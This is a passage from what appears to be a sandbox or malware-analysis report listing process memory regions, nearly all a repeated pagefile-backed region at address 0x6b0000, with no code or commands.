0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14888 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14889 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14890 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14891 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14892 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14893 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14894 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14895 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14896 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14897 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14898 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14899 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14900 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14901 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14902 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14903 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14904 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14905 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14906 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14907 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14908 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14909 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14910 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14911 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14912 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14913 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14914 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14915 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14916 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14917 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14918 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14919 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14920 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14921 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14922 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14923 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14924 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14925 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14926 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14927 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14928 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14929 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14930 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14931 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14932 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14933 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14934 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14935 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14936 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14937 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14938 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14939 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14940 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14941 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14942 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14943 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14944 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14945 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14946 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14947 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14948 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14949 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14950 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14951 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14952 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14953 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14954 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14955 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14956 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14957 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14958 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14959 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14960 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14961 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14962 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14963 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14964 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14965 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14966 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14967 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14968 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14969 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14970 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14971 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14972 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14973 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14974 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14975 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14976 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14977 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14978 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14979 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14980 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14981 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14982 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14983 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14984 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14985 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14986 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14987 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14988 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14989 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14990 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 14991 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 14992 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14993 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14994 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14995 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14996 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14997 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14998 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14999 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15000 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15001 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15002 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15003 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15004 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15005 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15006 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15007 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15008 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15009 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15010 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15011 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15012 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15013 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15014 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15015 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15016 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15017 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15018 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15019 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15020 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15021 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15022 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15023 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15024 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15025 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15026 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15027 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15028 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15029 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15030 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15031 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15032 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15033 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15034 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15035 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15036 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15037 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15038 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15039 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15040 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15041 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15042 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15043 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15044 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15045 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15046 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15047 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15048 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15049 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15050 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15051 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15052 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15053 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15054 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15055 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15056 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15057 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15058 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15059 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15060 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15061 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15062 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15063 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15064 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15065 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15066 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15067 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15068 